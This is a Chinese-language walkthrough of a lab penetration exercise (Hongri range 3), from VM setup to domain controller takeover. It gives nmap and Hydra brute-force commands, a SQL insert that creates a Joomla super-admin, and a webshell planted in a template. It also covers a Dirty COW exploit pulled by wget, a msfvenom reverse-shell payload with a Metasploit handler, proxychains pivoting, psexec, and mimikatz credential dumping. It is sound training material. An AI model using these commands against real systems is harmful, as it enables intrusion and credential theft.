红日靶场 3
靶场搭建
创建一个 VMnet2,网段是 192.168.93.0/24,因为默认配置就是这个,修改成其他的 VMnet 还需要修改

这里加载后记得打快照,这个靶机都是挂起状态的,不打快照重启后可能就打不开服务
这里打开后一堆毛病,主要启动服务的 web-ubantu 打开就报错,会导致访问页面就 502 了,最后 VM 版本调回 16.2 就没事了
web-centos:

这里捣鼓了半天,后来发现这个靶机是热加载的,不需要关机更换网卡设置,开机就能修改
进去要重启网卡,这里还有个问题,重启网卡一直失败
service network restart
需要在设置中修改一下才能成功

要将这两个都勾选上

PC:

web-ubantu:

win 2008:

server 2012:

外网渗透
这里模拟实战环境,是不知道这里 IP 地址是什么,所以扫描整个 C 段
nmap -sn 192.168.154.0/24

确定目标 IP 就是 192.168.154.128,进行端口扫描
nmap -sS -sV -p- 192.168.154.128

这里看到有 ssh 和 mysql 服务,尝试了一下弱密码,成功爆出来一个弱密码
hydra -C mysql-betterdefaultpasslist.txt mysql://192.168.154.128

mysql 渗透(失败)
直接连接上去,就是 root 权限,而且 IP 像内网的 IP
mysql -u root -h 192.168.154.128 -p123


看看能不能写日志 shell,权限和配置够了,打开一下日志功能

但是这里要写日志不知道 web 路径,先放一放

这里本来尝试随便写一个文件的,但是好像配置了什么导致不成功,这个方法应该是被 ban 了

网站渗透
是一个 php 环境,cms 是 Joomla

扫目录发现挺多东西的
[14:43:31] 403 - 280B - /.configuration.php.swp
[14:43:32] 403 - 280B - /.ht_wsr.txt
[14:43:32] 403 - 280B - /.htaccess.bak1
[14:43:32] 403 - 280B - /.htaccess.orig
[14:43:32] 403 - 280B - /.htaccess.sample
[14:43:32] 403 - 280B - /.htaccess_extra
[14:43:32] 403 - 280B - /.htaccess_sc
[14:43:32] 403 - 280B - /.htaccessOLD2
[14:43:32] 403 - 280B - /.htaccess_orig
[14:43:32] 403 - 280B - /.htm
[14:43:32] 403 - 280B - /.html
[14:43:32] 403 - 280B - /.htaccess.save
[14:43:32] 403 - 280B - /.htaccessBAK
[14:43:32] 403 - 280B - /.htpasswd_test
[14:43:32] 403 - 280B - /.htaccessOLD
[14:43:32] 403 - 280B - /.httr-oauth
[14:43:32] 403 - 280B - /.htpasswds
[14:43:33] 403 - 280B - /.php
[14:43:35] 200 - 0B - /2.php
[14:43:36] 200 - 24KB - /1.php
[14:43:42] 301 - 326B - /administrator -> http://192.168.154.128/administrator/
[14:43:42] 200 - 31B - /administrator/cache/
[14:43:42] 301 - 331B - /administrator/logs -> http://192.168.154.128/administrator/logs/
[14:43:42] 200 - 526B - /administrator/includes/
[14:43:42] 200 - 31B - /administrator/logs/
[14:43:44] 200 - 2KB - /administrator/index.php
[14:43:44] 200 - 2KB - /administrator/
[14:43:46] 301 - 316B - /bin -> http://192.168.154.128/bin/
[14:43:46] 200 - 31B - /bin/
[14:43:47] 301 - 318B - /cache -> http://192.168.154.128/cache/
[14:43:47] 200 - 31B - /cache/
[14:43:48] 200 - 31B - /cli/
[14:43:48] 200 - 31B - /components/
[14:43:48] 301 - 323B - /components -> http://192.168.154.128/components/
[14:43:49] 200 - 2KB - /configuration.php~
[14:43:49] 200 - 0B - /configuration.php
[14:43:55] 200 - 1KB - /htaccess.txt
[14:43:56] 200 - 31B - /images/
[14:43:56] 301 - 319B - /images -> http://192.168.154.128/images/
[14:43:56] 200 - 31B - /includes/
[14:43:56] 301 - 321B - /includes -> http://192.168.154.128/includes/
[14:43:58] 200 - 4KB - /index.php
[14:43:58] 200 - 3KB - /index.php/login/
[14:43:58] 301 - 321B - /language -> http://192.168.154.128/language/
[14:43:59] 200 - 31B - /layouts/
[14:43:59] 301 - 322B - /libraries -> http://192.168.154.128/libraries/
[14:43:59] 200 - 31B - /libraries/
[14:43:59] 200 - 7KB - /LICENSE.txt
[14:44:01] 301 - 318B - /media -> http://192.168.154.128/media/
[14:44:01] 200 - 31B - /media/
[14:44:02] 301 - 320B - /modules -> http://192.168.154.128/modules/
[14:44:02] 200 - 31B - /modules/
[14:44:07] 301 - 320B - /plugins -> http://192.168.154.128/plugins/
[14:44:07] 200 - 31B - /plugins/
[14:44:09] 200 - 2KB - /README.txt
[14:44:10] 200 - 392B - /robots.txt
[14:44:11] 403 - 280B - /server-status
[14:44:11] 403 - 280B - /server-status/
[14:44:15] 301 - 322B - /templates -> http://192.168.154.128/templates/
[14:44:15] 200 - 31B - /templates/index.html
[14:44:15] 200 - 0B - /templates/protostar/
[14:44:15] 200 - 0B - /templates/beez3/
[14:44:15] 200 - 31B - /templates/
[14:44:15] 200 - 0B - /templates/system/
[14:44:16] 301 - 316B - /tmp -> http://192.168.154.128/tmp/
[14:44:16] 200 - 31B - /tmp/
[14:44:19] 200 - 628B - /web.config.txt
这里有个 2.php 直接有 phpinfo 了,不知道是没删干净还是啥,先不用
这里还扫到了一个 configuration.php~,这个应该就是 Joomla 的配置文件,这里还有一个用户的账号密码,但是登录不到后台

这里可以看到有一个 log_path,刚好可以给 mysql 利用

这里还有一个后台,密码可以到 mysql 中去读

这里可以看到这个 am2zu_users 表中存储着用户信息,但是密码被加密了

这里翻了一下,发现官方有些如何添加超级管理员,那还说啥了,直接拿来用

但这里要修改一下表名,这里修改的密码是 secret
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

成功登录后台

这里可以通过修改后台主题的文件来上 shell

这里修改 error.php 文件


没有禁用 eval,试试马

可以执行命令,但是没有 system

不管,直接上蚁剑,看看能不能上传文件,能上传文件就 win 了

蚁剑有一个插件,可以用来尝试绕过


C2 上线(失败)
这里目标机器是 linux,用 cs 需要一个插件

上传这个马

但是这里又是连接不上,不知道为什么,只能先换一条路

这里看到 tmp 目录下有一个 mysql 目录,进去看到一个文件

ssh
尝试用来 ssh 登录,这里直接连会报错,因为目标版本太低了,需要加个配置,成功获取到一个普通用户权限
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa wwwuser@192.168.154.128

提权
先尝试 suid 提权
find / -perm -u=s -type f 2>/dev/null

都失败哩,甚至还有报告(

这里查到一种脏牛提权,版本应该是匹配上了
uname -a
cat /etc/redhat-release

searchsploit dirty cow

searchsploit -m 40839.c

下载下来后起一个 http 服务,让服务器下载一个,其实直接文件上传上去也可以
wget http://192.168.154.130:8088/40839.c -O dirty.c

这里要先编译一下,然后执行生成的文件,然后加上密码就行
gcc --version
gcc -pthread dirty.c -o dirty -lcrypt

提权成功

使用 msf 上线,cs 好像搞不定
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.154.130 LPORT=4444 -f elf > shell.elf

启动一下服务
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.154.130
msf6 > set LPORT 4444
msf6 > run

然后将这个文件传过去,成功上线

然后可以使用命令看看基础信息
sysinfo
ifconfig

横向渗透
将内网网段添加到路由表中
run autoroute -s 192.168.93.0/24
run autoroute -p

然后要配置全局代理
background
use auxiliary/server/socks_proxy
set srvport 1080
set version 4a
run

然后修改 kali 的配置,在最后一行加上 socks4 127.0.0.1 1080
sudo nano /etc/proxychains4.conf
然后就可以利用这个代理去扫描内网了
proxychains4 nmap -Pn -sT -p 445,135,80 --open 192.168.93.0/24

这里可以确定有 5 个目标,100 就是拿到权限的这个
192.168.93.10

192.168.93.20

192.168.93.30

192.168.93.120 这个是服务器的 IP,所以这个服务是搭建在内网的,只是用外网的这个转发出去,所以这个服务器的权限也相当于拿到了,只是权限不够高


这里像尝试永恒之蓝,都失败了

这里没辙了,只能尝试爆破密码了,这个密码我找了一圈发现我的字典中都没有(,又不想爆太大,就直接添加到我的字典中了
proxychains4 hydra -l administrator -P 500-worst-passwords.txt smb://192.168.93.20


然后就可以利用 msf 的 psexec 模块来获取权限
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.20
set SMBUser administrator
set SMBPass 123456
set payload windows/x64/meterpreter/bind_tcp
set LPORT 4444
run
这里甚至是 system 用户

信息收集

域控机就是 WIN-8GA56TNV3MV

获取到域控机的 IP 就是 192.168.93.10,剩下两台几次其实都拿下了

这里可以加载 mimikatz
load kiwi
creds_wdigest
creds_all

这里成功抓到一个密码,这个 test 就是当前域环境,尝试一下是不是密码 zxcASDqw123!!
proxychains4 hydra -l administrator -p 'zxcASDqw123!!' smb://192.168.93.10

这样就成功拿下最后的域控机器了